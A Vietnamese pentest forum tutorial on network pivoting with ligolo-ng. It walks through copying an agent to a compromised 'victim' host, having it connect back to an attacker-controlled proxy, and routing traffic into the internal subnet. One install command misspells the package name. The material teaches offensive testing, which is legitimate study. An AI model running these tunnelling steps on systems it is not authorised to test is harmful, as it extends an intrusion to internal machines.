Pentest & Offsec Kỹ thuật Network Pivoting 101 Series - Bài 1: Pivoting với ligolo-ng

thaidq90

Super Moderator
Pivoting là gì ?
Pivoting đề cập đến một kỹ thuật được các chuyên gia kiểm thử bảo mật sử dụng. Kỹ thuật này tận dụng một hệ thống bị xâm nhập để tấn công các hệ thống khác trên cùng một mạng, nhằm vượt qua các hạn chế như tường lửa — vốn có thể từ chối quyền truy cập trực tiếp vào tất cả các máy. Ví dụ, nếu một kẻ tấn công đột nhập vào một máy chủ web trên mạng nội bộ của công ty, kẻ tấn công đó sau đó có thể sử dụng máy chủ web đã bị xâm nhập để tấn công các hệ thống khác trong mạng. Những kiểu tấn công này thường được gọi là các cuộc tấn công đa tầng.

Các loại Pivoting
Pivoting có thể được phân loại thêm thành Pivoting ProxyPivoting VPN.
  1. Pivoting Proxy thường mô tả hành động chuyển hướng lưu lượng truy cập thông qua một mục tiêu đã bị xâm nhập bằng cách sử dụng một payload proxy trên máy đó và phát động các cuộc tấn công từ máy tính đó. Loại pivoting này bị hạn chế đối với một số cổng TCP và UDP nhất định mà proxy hỗ trợ.
  2. Pivoting VPN cho phép hacker tạo một lớp mã hóa để tạo đường hầm vào máy bị xâm nhập nhằm định tuyến bất kỳ lưu lượng hệ thống nào thông qua máy mục tiêu đó. Ví dụ, để chạy một bản quét lỗ hổng trên mạng bị xâm nhập thông qua máy đã bị xâm nhập, kẻ tấn công sẽ có quyền truy cập hệ thống đầy đủ như thể họ đang ở phía sau tường lửa.
Thông thường, các ứng dụng proxy hoặc VPN cho phép pivoting được thực thi trên máy tính mục tiêu dưới dạng payload (chương trình) của một khai thác.

Pivoting thường được thực hiện bằng cách xâm nhập vào một phần của cơ sở hạ tầng mạng (ví dụ: một máy in hoặc bộ điều nhiệt yếu kém) và sử dụng một công cụ quét để tìm các thiết bị khác được kết nối nhằm tấn công chúng. Bằng cách khai thác một phần yếu kém của hệ thống mạng, một hacker có thể thâm nhập vào hầu hết toàn bộ cơ sở hạ tầng mạng và giành quyền kiểm soát hoàn toàn.

Kỹ thuật Pivoting

Sử dụng công cụ ligolo-ng:

Cài đặt công cụ ligolo.ng ở trong Kali Linux:
sudo apt update
sudo apt install lilogo-ng
Chạy lệnh này sẽ cài đặt bộ công cụ ligolo-proxy và ligolo-agent trên Kali Linux. Tuy nhiên ligolo-agent ta cần lấy file thực thi tương ứng với kiến trúc của hệ điều hành ở trên trang : https://github.com/nicocha30/ligolo-ng/releases
1753689350333.png

Chạy ligolo-proxy ở Kali Linux với tùy chọn -selfcert (tùy chọn -autocert yêu cầu cấu hình hostname)
sudo ligolo-proxy -selfcert
1753689516496.png

Trong terminal của ligolo-ng chạy lệnh (Thay <<interface_name>> bằng tên tùy chỉnh cho interface):
interface_create --name <<interface_name>>
Câu lệnh trên sẽ tạo thêm một network interface. Ta có thể chạy lên ifconfig để kiểm tra
1753689642937.png

Ta có thể chạy command certificate_fingerprint để in ra fingerprint của chứng chỉ hiện đang được sử dụng
1753690529860.png

Tiếp đến ta cần lấy tập tin agent đã tải từ link https://github.com/nicocha30/ligolo-ng/releases giải nén và tải lênh trên máy victim
scp agent <<user>>@<<pivot-host>>:/tmp/agent
Chạy ligolo-agent ở máy victim
chmod +x ./tmp/agent
cd /tmp
./agent -connect <<ligolo_proxy_ip>>:<<ligolo_proxy_port>>
Ta có thể chọn agent kết nối với ligolo-proxy sử dụng fingerprint của chứng chỉ được in ra với tùy chọn -accept-fingerprint
./agent -connect <<ligolo_proxy_ip>>:<<ligolo_proxy_port>> -accept-fingerprint <<ligolo_fingerprint>>
Hoặc ta có thể bỏ qua kiểm tra chứng chỉ với tùy chọn -ignore-cert
./agent -connect <<ligolo_proxy_ip>>:<<ligolo_proxy_port>> -ignore-cert
1753690926782.png

Một session sẽ xuất hiện ở phía ligolo-proxy
1753691125580.png

Sử dụng command session ở terminal của ligolo-proxy
1753691189352.png

Bắt đầu tunnel với proxy, sử dụng interface_name được thiết lập ở trên.
tunnel_start --tun <<interface_name>>
1753691282817.png

Chỉnh lại ip route tương ứng theo giải mạng cần pivoting tới
sudo ip route add <<sub_net>> dev <<interface_name>>
1753691513733.png

Chạy thử lệnh ping để kiểm tra kết nối
1753691550478.png


Tiếp theo ta sẽ đi tiếp các kỹ thuật pivoting khác như sshuttle, proxy chains, chisel, ngrok ...
 
Back
Top